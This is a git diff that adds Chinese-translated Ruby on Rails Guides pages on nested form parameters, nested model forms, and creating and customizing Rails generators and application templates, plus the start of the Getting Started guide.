+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+
+
+
+

得到的 params[:person][:phone_number] 是包含用户输入的电话号码的数组。

7.2 联合使用

我们可以联合使用数组和散列。散列的元素可以是前面例子中那样的数组,也可以是散列构成的数组。例如,通过重复使用下面的表单控件我们可以添加任意长度的多行地址:

+
+<input name="addresses[][line1]" type="text"/>
+<input name="addresses[][line2]" type="text"/>
+<input name="addresses[][city]" type="text"/>
+
+
+
+

得到的 params[:addresses] 是散列构成的数组,散列的键包括 line1line2city。如果 Rails 发现输入控件的名称已经存在于当前散列的键中,就会新建一个散列。

不过还有一个限制,尽管散列可以任意嵌套,但数组只能有一层。数组通常可以用散列替换。例如,模型对象的数组可以用以模型对象 ID 、数组索引或其他参数为键的散列替换。

数组参数在 check_box 辅助方法中不能很好地工作。根据 HTML 规范,未选中的复选框不提交任何值。然而,未选中的复选框也提交值往往会更容易处理。为此,check_box 辅助方法通过创建辅助的同名隐藏 input 元素来模拟这一行为。如果复选框未选中,只有隐藏的 input 元素的值会被提交;如果复选框被选中,复选框本身的值和隐藏的 input 元素的值都会被提交,但复选框本身的值优先级更高。在处理数组参数时,这样的重复提交会把 Rails 搞糊涂,因为 Rails 无法确定什么时候创建新的数组元素。这种情况下,我们可以使用 check_box_tag 辅助方法,或者用散列代替数组。

7.3 使用表单辅助方法

在前面两节中我们没有使用 Rails 表单辅助方法。尽管我们可以手动为 input 元素命名,然后直接把它们传递给 text_field_tag 这类辅助方法,但 Rails 支持更高级的功能。我们可以使用 form_forfields_for 辅助方法的 name 参数以及 :index 选项。

假设我们想要渲染一个表单,用于修改某人地址的各个字段。例如:

+
+<%= form_for @person do |person_form| %>
+  <%= person_form.text_field :name %>
+  <% @person.addresses.each do |address| %>
+    <%= person_form.fields_for address, index: address.id do |address_form|%>
+      <%= address_form.text_field :city %>
+    <% end %>
+  <% end %>
+<% end %>
+
+
+
+

如果某人有两个地址,ID 分别为 23 和 45,那么上面的代码会生成下面的 HTML:

+
+<form accept-charset="UTF-8" action="http://github.com/people/1" class="edit_person" id="edit_person_1" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+  <input id="person_address_23_city" name="person[address][23][city]" type="text" />
+  <input id="person_address_45_city" name="person[address][45][city]" type="text" />
+</form>
+
+
+
+

得到的 params 散列会包含:

+
+{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
+
+
+
+

Rails 之所以知道这些输入控件的值是 person 散列的一部分,是因为我们在第一个表单生成器上调用了 fields_for 辅助方法。指定 :index 选项是为了告诉 Rails,不要把输入控件命名为 person[address][city],而要在 addresscity 之间插入索引(放在 [] 中)。这样要想确定需要修改的 Address 记录就变得很容易,因此往往也很有用。:index 选项的值还可以是其他重要数字、字符串甚至 nil(使用 nil 时会创建数组参数)。

要想创建更复杂的嵌套,我们可以显式指定输入控件名称的 name 参数(在上面的例子中是 person[address]):

+
+<%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="bologna" />
+
+
+
+

一般来说,输入控件的最终名称是 fields_forform_for 辅助方法的 name 参数,加上 :index 选项的值,再加上属性名。我们也可以直接把 :index 选项传递给 text_field 这样的辅助方法作为参数,但在表单生成器中指定这个选项比在输入控件中分别指定这个选项要更为简洁。

还有一种简易写法,可以在 name 参数后加上 [] 并省略 :index 选项。这种简易写法和指定 index: address 选项的效果是一样的:

+
+<%= fields_for 'person[address][primary][]', address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+
+
+
+

上面的代码生成的 HTML 和前一个例子完全相同。

8 处理外部资源的表单

Rails 表单辅助方法也可用于创建向外部资源提交数据的表单。不过,有时我们需要为这些外部资源设置 authenticity_token,具体操作是为 form_tag 辅助方法设置 authenticity_token: 'your_external_token' 选项:

+
+<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token' do %>
+  Form contents
+<% end %>
+
+
+
+

在向外部资源(例如支付网关)提交数据时,有时表单中可用的字段会受到外部 API 的限制,并且不需要生成 authenticity_token。通过设置 authenticity_token: false 选项即可禁用 authenticity_token

+
+<%= form_tag 'http://farfar.away/form', authenticity_token: false do %>
+  Form contents
+<% end %>
+
+
+
+

相同的技术也可用于 form_for 辅助方法:

+
+<%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %>
+  Form contents
+<% end %>
+
+
+
+

或者,如果想要禁用 authenticity_token

+
+<%= form_for @invoice, url: external_url, authenticity_token: false do |f| %>
+  Form contents
+<% end %>
+
+
+
+

9 创建复杂表单

许多应用可不只是在表单中修改单个对象这样简单。例如,在创建 Person 模型的实例时,我们可能还想让用户在同一个表单中创建多条地址记录(如家庭地址、单位地址等)。之后在修改 Person 模型的实例时,用户应该能够根据需要添加、删除或修改地址。

9.1 配置模型

为此,Active Record 通过 accepts_nested_attributes_for 方法在模型层面提供支持:

+
+class Person < ApplicationRecord
+  has_many :addresses
+  accepts_nested_attributes_for :addresses
+end
+
+class Address < ApplicationRecord
+  belongs_to :person
+end
+
+
+
+

上面的代码会在 Person 模型上创建 addresses_attributes= 方法,用于创建、更新或删除地址。

9.2 嵌套表单

通过下面的表单我们可以创建 Person 模型的实例及其关联的地址:

+
+<%= form_for @person do |f| %>
+  Addresses:
+  <ul>
+    <%= f.fields_for :addresses do |addresses_form| %>
+      <li>
+        <%= addresses_form.label :kind %>
+        <%= addresses_form.text_field :kind %>
+
+        <%= addresses_form.label :street %>
+        <%= addresses_form.text_field :street %>
+        ...
+      </li>
+    <% end %>
+  </ul>
+<% end %>
+
+
+
+

如果关联支持嵌套属性,fields_for 方法会为关联中的每个元素执行块。如果 Person 模型的实例没有关联地址,就不会显示地址字段。一般的做法是构建一个或多个空的子属性,这样至少会显示一组字段。下面的例子会在新建 Person 模型实例的表单中显示两组地址字段。

+
+def new
+  @person = Person.new
+  2.times { @person.addresses.build}
+end
+
+
+
+

fields_for 辅助方法会产出表单生成器,而 accepts_nested_attributes_for 方法需要参数名。例如,当创建具有两个地址的 Person 模型的实例时,表单提交的参数如下:

+
+{
+  'person' => {
+    'name' => 'John Doe',
+    'addresses_attributes' => {
+      '0' => {
+        'kind' => 'Home',
+        'street' => '221b Baker Street'
+      },
+      '1' => {
+        'kind' => 'Office',
+        'street' => '31 Spooner Street'
+      }
+    }
+  }
+}
+
+
+
+

:addresses_attributes 散列的键是什么并不重要,只要每个地址的键互不相同即可。

如果关联对象在数据库中已存在,fields_for 方法会使用这个对象的 ID 自动生成隐藏输入字段。通过设置 include_id: false 选项可以禁止自动生成隐藏输入字段。如果自动生成的隐藏输入字段位置不对,导致 HTML 无效,或者 ORM 中子对象不存在 ID,那么我们就应该禁止自动生成隐藏输入字段。

9.3 控制器

照例,我们需要在控制器中把参数列入白名单,然后再把参数传递给模型:

+
+def create
+  @person = Person.new(person_params)
+  # ...
+end
+
+private
+  def person_params
+    params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
+  end
+
+
+
+

9.4 删除对象

通过为 accepts_nested_attributes_for 方法设置 allow_destroy: true 选项,用户就可以删除关联对象。

+
+class Person < ApplicationRecord
+  has_many :addresses
+  accepts_nested_attributes_for :addresses, allow_destroy: true
+end
+
+
+
+

如果对象属性散列包含 _destroy 键并且值为 1,这个对象就会被删除。下面的表单允许用户删除地址:

+
+<%= form_for @person do |f| %>
+  Addresses:
+  <ul>
+    <%= f.fields_for :addresses do |addresses_form| %>
+      <li>
+        <%= addresses_form.check_box :_destroy %>
+        <%= addresses_form.label :kind %>
+        <%= addresses_form.text_field :kind %>
+        ...
+      </li>
+    <% end %>
+  </ul>
+<% end %>
+
+
+
+

别忘了在控制器中更新参数白名单,添加 _destroy 字段。

+
+def person_params
+  params.require(:person).
+    permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy])
+end
+
+
+
+

9.5 防止创建空记录

通常我们需要忽略用户没有填写的字段。要实现这个功能,我们可以为 accepts_nested_attributes_for 方法设置 :reject_if 选项,这个选项的值是一个 Proc 对象。在表单提交每个属性散列时都会调用这个 Proc 对象。当 Proc 对象的返回值为 true 时,Active Record 不会为这个属性 Hash 创建关联对象。在下面的例子中,当设置了 kind 属性时,Active Record 才会创建地址:

+
+class Person < ApplicationRecord
+  has_many :addresses
+  accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?}
+end
+
+
+
+

方便起见,我们可以把 :reject_if 选项的值设为 :all_blank,此时创建的 Proc 对象会拒绝为除 _destroy 之外的其他属性都为空的属性散列创建关联对象。

9.6 按需添加字段

有时,与其提前显示多组字段,倒不如等用户点击“添加新地址”按钮后再添加。Rails 没有内置这种功能。在生成这些字段时,我们必须保证关联数组的键是唯一的,这种情况下通常会使用 JavaScript 的当前时间(从 1970 年 1 月 1 日午夜开始经过的毫秒数)。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/generators.html b/generators.html new file mode 100644 index 0000000..054c975 --- /dev/null +++ b/generators.html @@ -0,0 +1,869 @@ + + + + + + + +创建及定制 Rails 生成器和模板 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

创建及定制 Rails 生成器和模板

如果你打算改进自己的工作流程,Rails 生成器是必备工具。本文教你创建及定制生成器的方式。

读完本文后,您将学到:

+
    +
  • 如何查看应用中有哪些生成器可用;
  • +
  • 如何使用模板创建生成器;
  • +
  • 在调用生成器之前,Rails 如何搜索生成器;
  • +
  • Rails 内部如何使用模板生成 Rails 代码;
  • +
  • 如何通过创建新生成器定制脚手架;
  • +
  • 如何通过修改生成器模板定制脚手架;
  • +
  • 如何使用后备机制防范覆盖大量生成器;
  • +
  • 如何创建应用模板。
  • +
+ + + + +
+
+ +
+
+
+

1 第一次接触

使用 rails 命令创建应用时,使用的其实就是一个 Rails 生成器。创建应用之后,可以使用 rails generator 命令列出全部可用的生成器:

+
+$ rails new myapp
+$ cd myapp
+$ bin/rails generate
+
+
+
+

你会看到 Rails 自带的全部生成器。如果想查看生成器的详细描述,比如说 helper 生成器,可以这么做:

+
+$ bin/rails generate helper --help
+
+
+
+

2 创建首个生成器

自 Rails 3.0 起,生成器使用 Thor 构建。Thor 提供了强大的解析选项和处理文件的丰富 API。举个例子。我们来构建一个生成器,在 config/initializers 目录中创建一个名为 initializer.rb 的初始化脚本。

第一步是创建 lib/generators/initializer_generator.rb 文件,写入下述内容:

+
+class InitializerGenerator < Rails::Generators::Base
+  def create_initializer_file
+    create_file "config/initializers/initializer.rb", "# 这里是初始化文件的内容"
+  end
+end
+
+
+
+

create_fileThor::Actions 提供的一个方法。create_file 即其他 Thor 方法的文档参见 Thor 的文档

这个生成器相当简单:继承自 Rails::Generators::Base,定义了一个方法。调用生成器时,生成器中的公开方法按照定义的顺序依次执行。最后,我们调用 create_file 方法在指定的位置创建一个文件,写入指定的内容。如果你熟悉 Rails Application Templates API,对这个生成器 API 就不会感到陌生。

若想调用这个生成器,只需这么做:

+
+$ bin/rails generate initializer
+
+
+
+

在继续之前,先看一下这个生成器的描述:

+
+$ bin/rails generate initializer --help
+
+
+
+

如果把生成器放在命名空间里(如 ActiveRecord::Generators::ModelGenerator),Rails 通常能生成好的描述,但这里没有。这一问题有两个解决方法。第一个是,在生成器中调用 desc

+
+class InitializerGenerator < Rails::Generators::Base
+  desc "This generator creates an initializer file at config/initializers"
+  def create_initializer_file
+    create_file "config/initializers/initializer.rb", "# Add initialization content here"
+  end
+end
+
+
+
+

现在,调用生成器时指定 --help 选项便能看到刚添加的描述。添加描述的第二个方法是,在生成器所在的目录中创建一个名为 USAGE 的文件。下一节将这么做。

3 使用生成器创建生成器

生成器本身也有一个生成器:

+
+$ bin/rails generate generator initializer
+      create  lib/generators/initializer
+      create  lib/generators/initializer/initializer_generator.rb
+      create  lib/generators/initializer/USAGE
+      create  lib/generators/initializer/templates
+
+
+
+

下述代码是这个生成器生成的:

+
+class InitializerGenerator < Rails::Generators::NamedBase
+  source_root File.expand_path("../templates", __FILE__)
+end
+
+
+
+

首先注意,我们继承的是 Rails::Generators::NamedBase,而不是 Rails::Generators::Base。这表明,我们的生成器至少需要一个参数,即初始化脚本的名称,在代码中通过 name 变量获取。

查看这个生成器的描述可以证实这一点(别忘了删除旧的生成器文件):

+
+$ bin/rails generate initializer --help
+Usage:
+  rails generate initializer NAME [options]
+
+
+
+

还能看到,这个生成器有个名为 source_root 的类方法。这个方法指向生成器模板(如果有的话)所在的位置,默认是生成的 lib/generators/initializer/templates 目录。

为了弄清生成器模板的作用,下面创建 lib/generators/initializer/templates/initializer.rb 文件,写入下述内容:

+
+# Add initialization content here
+
+
+
+

然后修改生成器,调用时复制这个模板:

+
+class InitializerGenerator < Rails::Generators::NamedBase
+  source_root File.expand_path("../templates", __FILE__)
+
+  def copy_initializer_file
+    copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
+  end
+end
+
+
+
+

下面执行这个生成器:

+
+$ bin/rails generate initializer core_extensions
+
+
+
+

可以看到,这个命令生成了 config/initializers/core_extensions.rb 文件,里面的内容与模板中一样。这表明,copy_file 方法的作用是把源根目录中的文件复制到指定的目标路径。file_name 方法是继承自 Rails::Generators::NamedBase 之后自动创建的。

生成器中可用的方法在本章最后一节说明。

4 查找生成器

执行 rails generate initializer core_extensions 命令时,Rails 按照下述顺序引入文件,直到找到所需的生成器为止:

+
+rails/generators/initializer/initializer_generator.rb
+generators/initializer/initializer_generator.rb
+rails/generators/initializer_generator.rb
+generators/initializer_generator.rb
+
+
+
+

如果最后找不到,显示一个错误消息。

上述示例把文件放在应用的 lib 目录中,因为这个目录在 $LOAD_PATH 中。

5 定制工作流程

Rails 自带的生成器十分灵活,可以定制脚手架。生成器在 config/application.rb 文件中配置,下面是一些默认值:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: true
+end
+
+
+
+

在定制工作流程之前,先看看脚手架是什么:

+
+$ bin/rails generate scaffold User name:string
+      invoke  active_record
+      create    db/migrate/20130924151154_create_users.rb
+      create    app/models/user.rb
+      invoke    test_unit
+      create      test/models/user_test.rb
+      create      test/fixtures/users.yml
+      invoke  resource_route
+       route    resources :users
+      invoke  scaffold_controller
+      create    app/controllers/users_controller.rb
+      invoke    erb
+      create      app/views/users
+      create      app/views/users/index.html.erb
+      create      app/views/users/edit.html.erb
+      create      app/views/users/show.html.erb
+      create      app/views/users/new.html.erb
+      create      app/views/users/_form.html.erb
+      invoke    test_unit
+      create      test/controllers/users_controller_test.rb
+      invoke    helper
+      create      app/helpers/users_helper.rb
+      invoke    jbuilder
+      create      app/views/users/index.json.jbuilder
+      create      app/views/users/show.json.jbuilder
+      invoke  assets
+      invoke    coffee
+      create      app/assets/javascripts/users.coffee
+      invoke    scss
+      create      app/assets/stylesheets/users.scss
+      invoke  scss
+      create    app/assets/stylesheets/scaffolds.scss
+
+
+
+

通过上述输出不难看出 Rails 3.0 及以上版本中生成器的工作方式。脚手架生成器其实什么也不生成,只是调用其他生成器。因此,我们可以添加、替换和删除任何生成器。例如,脚手架生成器调用了 scaffold_controller 生成器,而它调用了 erb、test_unit 和 helper 生成器。因为各个生成器的职责单一,所以可以轻易复用,从而避免代码重复。

使用脚手架生成资源时,如果不想生成默认的 app/assets/stylesheets/scaffolds.scss 文件,可以禁用 scaffold_stylesheet

+
+  config.generators do |g|
+    g.scaffold_stylesheet false
+  end
+
+
+
+

其次,我们可以不让脚手架生成样式表、JavaScript 和测试固件文件。为此,我们要像下面这样修改配置:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+end
+
+
+
+

如果再使用脚手架生成器生成一个资源,你会看到,它不再创建样式表、JavaScript 和固件文件了。如果想进一步定制,例如使用 DataMapper 和 RSpec 替换 Active Record 和 TestUnit,只需添加相应的 gem,然后配置生成器。

下面举个例子。我们将创建一个辅助方法生成器,添加一些实例变量读值方法。首先,在 rails 命名空间(Rails 在这里搜索作为钩子的生成器)中创建一个生成器:

+
+$ bin/rails generate generator rails/my_helper
+      create  lib/generators/rails/my_helper
+      create  lib/generators/rails/my_helper/my_helper_generator.rb
+      create  lib/generators/rails/my_helper/USAGE
+      create  lib/generators/rails/my_helper/templates
+
+
+
+

然后,把 templates 目录和 source_root 类方法删除,因为用不到。然后添加下述方法,此时生成器如下所示:

+
+# lib/generators/rails/my_helper/my_helper_generator.rb
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+  def create_helper_file
+    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+  attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+    FILE
+  end
+end
+
+
+
+

下面为 products 创建一个辅助方法,试试这个新生成器:

+
+$ bin/rails generate my_helper products
+      create  app/helpers/products_helper.rb
+
+
+
+

上述命令会在 app/helpers 目录中生成下述辅助方法文件:

+
+module ProductsHelper
+  attr_reader :products, :product
+end
+
+
+
+

这正是我们预期的。接下来再次编辑 config/application.rb,告诉脚手架使用这个新辅助方法生成器:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+  g.helper          :my_helper
+end
+
+
+
+

然后调用这个生成器,实测一下:

+
+$ bin/rails generate scaffold Article body:text
+      [...]
+      invoke    my_helper
+      create      app/helpers/articles_helper.rb
+
+
+
+

从输出中可以看出,Rails 调用了这个新辅助方法生成器,而不是默认的那个。不过,少了点什么:没有生成测试。我们将复用旧的辅助方法生成器测试。

自 Rails 3.0 起,测试很容易,因为有了钩子。辅助方法无需限定于特定的测试框架,只需提供一个钩子,让测试框架实现钩子即可。

为此,我们可以按照下述方式修改生成器:

+
+# lib/generators/rails/my_helper/my_helper_generator.rb
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+  def create_helper_file
+    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+  attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+    FILE
+  end
+
+  hook_for :test_framework
+end
+
+
+
+

现在,如果再调用这个辅助方法生成器,而且配置的测试框架是 TestUnit,它会调用 Rails::TestUnitGeneratorTestUnit::MyHelperGenerator。这两个生成器都没定义,我们可以告诉生成器去调用 TestUnit::Generators::HelperGenerator。这个生成器是 Rails 自带的。为此,我们只需添加:

+
+# 搜索 :helper,而不是 :my_helper
+hook_for :test_framework, as: :helper
+
+
+
+

现在,你可以使用脚手架再生成一个资源,你会发现它生成了测试。

6 通过修改生成器模板定制工作流程

前面我们只想在生成的辅助方法中添加一行代码,而不增加额外的功能。为此有种更为简单的方式:替换现有生成器的模板。这里要替换的是 Rails::Generators::HelperGenerator 的模板。

在 Rails 3.0 及以上版本中,生成器搜索模板时不仅查看源根目录,还会在其他路径中搜索模板。其中一个是 lib/templates。我们要定制的是 Rails::Generators::HelperGenerator,因此可以在 lib/templates/rails/helper 目录中放一个模板副本,名为 helper.rb。创建这个文件,写入下述内容:

+
+module <%= class_name %>Helper
+  attr_reader :<%= plural_name %>, :<%= plural_name.singularize %>
+end
+
+
+
+

然后撤销之前对 config/application.rb 文件的修改:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+end
+
+
+
+

再生成一个资源,你将看到,得到的结果完全一样。如果你想定制脚手架模板和(或)布局,只需在 lib/templates/erb/scaffold 目录中创建 edit.html.erbindex.html.erb,等等。

Rails 的脚手架模板经常使用 ERB 标签,这些标签要转义,这样生成的才是有效的 ERB 代码。

例如,在模板中要像下面这样转义 ERB 标签(注意多了个 %):

+
+<%%= stylesheet_include_tag :application %>
+
+
+
+

生成的内容如下:

+
+<%= stylesheet_include_tag :application %>
+
+
+
+

7 为生成器添加后备机制

生成器最后一个相当有用的功能是插件生成器的后备机制。比如说我们想在 TestUnit 的基础上添加类似 shoulda 的功能。因为 TestUnit 已经实现了 Rails 所需的全部生成器,而 shoulda 只是覆盖其中部分,所以 shoulda 没必要重新实现某些生成器。相反,shoulda 可以告诉 Rails,在 Shoulda 命名空间中找不到某个生成器时,使用 TestUnit 中的生成器。

我们可以再次修改 config/application.rb 文件,模拟这种行为:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :shoulda, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+
+  # 添加后备机制
+  g.fallbacks[:shoulda] = :test_unit
+end
+
+
+
+

现在,使用脚手架生成 Comment 资源时,你会看到调用了 shoulda 生成器,而它调用的其实是 TestUnit 生成器:

+
+$ bin/rails generate scaffold Comment body:text
+      invoke  active_record
+      create    db/migrate/20130924143118_create_comments.rb
+      create    app/models/comment.rb
+      invoke    shoulda
+      create      test/models/comment_test.rb
+      create      test/fixtures/comments.yml
+      invoke  resource_route
+       route    resources :comments
+      invoke  scaffold_controller
+      create    app/controllers/comments_controller.rb
+      invoke    erb
+      create      app/views/comments
+      create      app/views/comments/index.html.erb
+      create      app/views/comments/edit.html.erb
+      create      app/views/comments/show.html.erb
+      create      app/views/comments/new.html.erb
+      create      app/views/comments/_form.html.erb
+      invoke    shoulda
+      create      test/controllers/comments_controller_test.rb
+      invoke    my_helper
+      create      app/helpers/comments_helper.rb
+      invoke    jbuilder
+      create      app/views/comments/index.json.jbuilder
+      create      app/views/comments/show.json.jbuilder
+      invoke  assets
+      invoke    coffee
+      create      app/assets/javascripts/comments.coffee
+      invoke    scss
+
+
+
+

后备机制能让生成器专注于实现单一职责,尽量复用代码,减少重复代码量。

8 应用模板

至此,我们知道生成器可以在应用内部使用,但是你知道吗,生成器也可用于生成应用?这种生成器叫“模板”(template)。本节简介 Templates API,详情参阅Rails 应用模板

+
+gem "rspec-rails", group: "test"
+gem "cucumber-rails", group: "test"
+
+if yes?("Would you like to install Devise?")
+  gem "devise"
+  generate "devise:install"
+  model_name = ask("What would you like the user model to be called? [user]")
+  model_name = "user" if model_name.blank?
+  generate "devise", model_name
+end
+
+
+
+

在上述模板中,我们指定应用要使用 rspec-railscucumber-rails 两个 gem,因此把它们添加到 Gemfiletest 组。然后,我们询问用户是否想安装 Devise。如果用户回答“y”或“yes”,这个模板会将其添加到 Gemfile 中,而且不放在任何分组中,然后运行 devise:install 生成器。然后,这个模板获取用户的输入,运行 devise 生成器,并传入用户对前一个问题的回答。

假如这个模板保存在名为 template.rb 的文件中。我们可以使用它修改 rails new 命令的输出,方法是把文件名传给 -m 选项:

+
+$ rails new thud -m template.rb
+
+
+
+

上述命令会生成 Thud 应用,然后把模板应用到生成的输出上。

模板不一定非得存储在本地系统中,-m 选项也支持在线模板:

+
+$ rails new thud -m https://gist.github.com/radar/722911/raw/
+
+
+
+

本章最后一节虽然不说明如何生成大多数已知的优秀模板,但是会详细说明可用的方法,供你自己开发模板。那些方法也可以在生成器中使用。

9 添加命令行参数

Rails 的生成器可以轻易修改,接受自定义的命令行参数。这个功能源自 Thor

+
+class_option :scope, type: :string, default: 'read_products'
+
+
+
+

现在,生成器可以这样调用:

+
+$ rails generate initializer --scope write_products
+
+
+
+

在生成器类内部,命令行参数通过 options 方法访问。

10 生成器方法

下面是可供 Rails 生成器和模板使用的方法。

本文不涵盖 Thor 提供的方法。如果想了解,参阅 Thor 的文档

10.1 gem +

指定应用的一个 gem 依赖。

+
+gem "rspec", group: "test", version: "2.1.0"
+gem "devise", "1.1.5"
+
+
+
+

可用的选项:

+
    +
  • :group:把 gem 添加到 Gemfile 中的哪个分组里。
  • +
  • :version:要使用的 gem 版本号,字符串。也可以在 gem 方法的第二个参数中指定。
  • +
  • :git:gem 的 Git 仓库的 URL。
  • +
+

传给这个方法的其他选项放在行尾:

+
+gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+
+
+
+

上述代码在 Gemfile 中写入下面这行代码:

+
+gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+
+
+
+

10.2 gem_group +

把 gem 放在一个分组里:

+
+gem_group :development, :test do
+  gem "rspec-rails"
+end
+
+
+
+

10.3 add_source +

Gemfile 中添加指定的源:

+
+add_source "http://gems.github.com/"
+
+
+
+

这个方法也接受块:

+
+add_source "http://gems.github.com/" do
+  gem "rspec-rails"
+end
+
+
+
+

10.4 inject_into_file +

在文件中的指定位置插入一段代码:

+
+inject_into_file 'name_of_file.rb', after: "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY'
+  puts "Hello World"
+RUBY
+end
+
+
+
+

10.5 gsub_file +

替换文件中的文本:

+
+gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'
+
+
+
+

使用正则表达式替换的效果更精准。可以使用类似的方式调用 append_fileprepend_file,分别在文件的末尾和开头添加代码。

10.6 application +

config/application.rb 文件中应用类定义后面直接添加内容:

+
+application "config.asset_host = 'http://example.com/'"
+
+
+
+

这个方法也接受块:

+
+application do
+  "config.asset_host = 'http://example.com/'"
+end
+
+
+
+

可用的选项:

+
    +
  • +

    :env:指定配置选项所属的环境。如果想在块中使用这个选项,建议使用下述句法:

    +
    +
    +application(nil, env: "development") do
    +  "config.asset_host = 'http://localhost:3000/'"
    +end
    +
    +
    +
    +
  • +
+

10.7 git +

运行指定的 Git 命令:

+
+git :init
+git add: "."
+git commit: "-m First commit!"
+git add: "onefile.rb", rm: "badfile.cxx"
+
+
+
+

这里的散列是传给指定 Git 命令的参数或选项。如最后一行所示,一次可以指定多个 Git 命令,但是命令的运行顺序不一定与指定的顺序一样。

10.8 vendor +

vendor 目录中放一个文件,内有指定的代码:

+
+vendor "sekrit.rb", '#top secret stuff'
+
+
+
+

这个方法也接受块:

+
+vendor "seeds.rb" do
+  "puts 'in your app, seeding your database'"
+end
+
+
+
+

10.9 lib +

lib 目录中放一个文件,内有指定的代码:

+
+lib "special.rb", "p Rails.root"
+
+
+
+

这个方法也接受块

+
+lib "super_special.rb" do
+  puts "Super special!"
+end
+
+
+
+

10.10 rakefile +

在应用的 lib/tasks 目录中创建一个 Rake 文件:

+
+rakefile "test.rake", "hello there"
+
+
+
+

这个方法也接受块:

+
+rakefile "test.rake" do
+  %Q{
+    task rock: :environment do
+      puts "Rockin'"
+    end
+  }
+end
+
+
+
+

10.11 initializer +

在应用的 config/initializers 目录中创建一个初始化脚本:

+
+initializer "begin.rb", "puts 'this is the beginning'"
+
+
+
+

这个方法也接受块,期待返回一个字符串:

+
+initializer "begin.rb" do
+  "puts 'this is the beginning'"
+end
+
+
+
+

10.12 generate +

运行指定的生成器,第一个参数是生成器的名称,后续参数直接传给生成器:

+
+generate "scaffold", "forums title:string description:text"
+
+
+
+

10.13 rake +

运行指定的 Rake 任务:

+
+rake "db:migrate"
+
+
+
+

可用的选项:

+
    +
  • :env:指定在哪个环境中运行 Rake 任务。
  • +
  • :sudo:是否使用 sudo 运行任务。默认为 false
  • +
+

10.14 capify! +

在应用的根目录中运行 Capistrano 提供的 capify 命令,生成 Capistrano 配置。

+
+capify!
+
+
+
+

10.15 route +

config/routes.rb 文件中添加文本:

+
+route "resources :people"
+
+
+
+

10.16 readme +

输出模板的 source_path 中某个文件的内容,通常是 README 文件:

+
+readme "README"
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/getting_started.html b/getting_started.html new file mode 100644 index 0000000..40d6aef --- /dev/null +++ b/getting_started.html @@ -0,0 +1,1607 @@ + + + + + + + +Rails 入门 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Rails 入门

本文介绍如何开始使用 Ruby on Rails。

读完本文后,您将学到:

+
    +
  • 如何安装 Rails、创建 Rails 应用,如何连接数据库;
  • +
  • Rails 应用的基本文件结构;
  • +
  • MVC(模型、视图、控制器)和 REST 架构的基本原理;
  • +
  • 如何快速生成 Rails 应用骨架。
  • +
+ + + + +
+
+ +
+
+
+

1 前提条件

本文针对想从零开始开发 Rails 应用的初学者,不要求 Rails 使用经验。不过,为了能顺利阅读,还是需要事先安装好一些软件:

+ +

Rails 是使用 Ruby 语言开发的 Web 应用框架。如果之前没接触过 Ruby,会感到直接学习 Rails 的学习曲线很陡。这里提供几个学习 Ruby 的在线资源:

+ +

